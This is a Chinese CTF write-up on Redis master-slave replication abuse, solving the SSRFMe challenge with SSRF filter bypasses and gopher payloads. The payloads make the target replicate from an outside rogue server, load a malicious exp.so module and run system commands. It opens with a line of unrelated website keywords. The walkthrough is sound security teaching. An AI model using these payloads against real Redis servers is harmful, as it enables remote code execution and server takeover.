河北做网站哪家公司好,炫酷网站源码,wordpress获取文章二级菜单,wordpress内容模板下载文章目录 前置知识概念redis常用命令redis module 利用条件利用工具思路例题 [网鼎杯 2020 玄武组]SSRFMe总结 前置知识
概念 背景是多台服务器要保存同一份数据#xff0c;如何实现其一致性呢#xff1f;数据的读写操作是否每台服务器都可以处理#xff1f;这里Redis就提供… 文章目录 前置知识概念redis常用命令redis module 利用条件利用工具思路例题 [网鼎杯 2020 玄武组]SSRFMe总结 前置知识
概念 背景是多台服务器要保存同一份数据如何实现其一致性呢数据的读写操作是否每台服务器都可以处理这里Redis就提供了主从复制的模式来避免此问题 主从复制是指将一台Redis主服务器的数据复制到其他的Redis从服务器。前者称为主节点(master)后者称为从节点(slave)
主服务器可以进行读写操作当发生写操作时自动将写操作同步给从服务器而从服务器一般是只读并接受主服务器同步过来写操作命令然后执行这条命令。 也就是说所有的数据修改只在主服务器上进行然后将最新的数据同步给从服务器这样就使得主从服务器的数据是一致的。
建立主从复制有3种方式
配置文件写入 slaveof master_ip master_portredis-server启动命令后加入 --slaveof master_ip master_port连接到客户端之后执行slaveof master_ip master_port
PS建立主从关系只需要在从节点操作就行了主节点不用任何操作
我们先在同一个机器开两个redis实例一个端口为6379一个端口为6380 我们把master_ip设置为127.0.0.1master_port为6380
rootkali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379 SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379 get test
(nil)
127.0.0.1:6379 exit
rootkali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380 get test
(nil)
127.0.0.1:6380 set test test
OK
127.0.0.1:6380 get test
test
127.0.0.1:6380 exit
rootkali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379 get test
test我们可以明显看到数据达到了同步的效果
redis常用命令
set xz Hacker # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接redis module 自从Redis4.x之后redis新增了一个模块功能Redis模块可以使用外部模块扩展Redis功能以一定的速度实现新的Redis命令并具有类似于核心内部可以完成的功能。 Redis模块是动态库可以在启动时或使用MODULE LOAD命令加载到Redis中。 利用条件
未授权访问 : 未启用认证功能或认证密码为空用户可直接连接
授权访问 : 能通过弱口令认证或者直接知道认证密码访问到Redis服务器利用工具
下载前面用到的两个工具 https://github.com/n0b0dyCN/redis-rogue-server redis-rogue-server未授权使用python3.5以上 https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server Awsome-Redis-Rogue-Server有授权使用 备注、工具二的使用需要把工具一的exp.so复制到该目录下
思路 了解完redis的主从复制的相关知识后我们可以尝试如何实现RCE 某个目标靶机存在ssrf漏洞我们可以自己搭建一个redis服务器作为目标靶机的主服务器也就是说我们在redis服务器恶意构造.so文件通过主从复制的模式到该目标靶机实现RCE
例题 [网鼎杯 2020 玄武组]SSRFMe
本题利用工具为Awsome-Redis-Rogue-Server
题目源码如下 ?php
function check_inner_ip($url)
{$match_resultpreg_match(/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/,$url);if (!$match_result){die(url fomat error);}try{$url_parseparse_url($url);}catch(Exception $e){die(url fomat error);return false;}$hostname$url_parse[host];$ipgethostbyname($hostname);$int_ipip2long($ip);return ip2long(127.0.0.0)24 $int_ip24 || ip2long(10.0.0.0)24 $int_ip24 || ip2long(172.16.0.0)20 $int_ip20 || ip2long(192.168.0.0)16 $int_ip16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url. is inner ip;}else{$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output curl_exec($ch);$result_info curl_getinfo($ch);if ($result_info[redirect_url]){safe_request_url($result_info[redirect_url]);}curl_close($ch);var_dump($output);}}
if(isset($_GET[url])){$url $_GET[url];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
? 分析一下
给了check_inner_ip函数首先过滤了一些协议和符号然后将传参的url进行解析并把键名host值赋值给变量hostname然后执行$ipgethostbyname($hostname);和 $int_ipip2long($ip);最后进行移位并返回值safe_request_url函数首先判断是否为inner的ip如果不是则可以利用ssrf漏洞最后提示可以去看看hint.php
对于check_inner_ip函数作用我们可以本地测试一下
?php
print_r(ip2long(127.0.0.0)24结果为:);
echo ip2long(127.0.0.0)24;
echo br;
print_r(ip2long(10.0.0.0:0)24结果为:);
echo ip2long(10.0.0.0)24;
echo br;
print_r(ip2long(172.16.0.0)20结果为:);
echo ip2long(172.16.0.0)20;
echo br;
print_r(ip2long(192.168.0.0)16结果为:);
echo ip2long(192.168.0.0)16;
echo br;结果如下 这样的话我们就不能直接访问127.0.0.1了绕过方法给出两种算出来的值为0即可实现绕过 方法一
http://0.0.0.0/hint.php方法二
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php成功绕过 提示了redis数据库认证密码为root。现在开始getshell 准备过程将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中使用Awsome-Redis-Rogue-Server工具开启主服务并且恶意so文件指定为exp.so因为exp.so里面有system模块 本地用的是内网穿透开启主服务
# lport就是指定攻击机的ip和端口的我们是内网穿透映射到虚拟机的1028端口
python3 redis_rogue_server.py -v -path exp.so -lport 1028执行完就会开始监听 然后就是gopher协议联动redies
首先设置备份路径
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit题目返回三个OK
生成一个exp.so文件 再设置主从关系ip改为公网服务器的
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25205i781963p2.yicp.fun%252058265%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 5i781963p2.yicp.fun 58265
quit返回四个OK 我们看看刚刚在linux下监听情况发现主从同步能够看到回显会一直同步
然后继续加载模块
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit返回三个OK
关闭关闭主从同步
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit返回三个OK 关闭后去看刚刚监听的地方会返回pong
导出数据库 设置备份文件名字
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit返回三个OK
最后命令执行获取flag
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec cat /flag
quit总结
捣鼓了一整天都没做出来最后发现还是工具的选择和对redis主从复制执行过程的问题。好在是做出来了。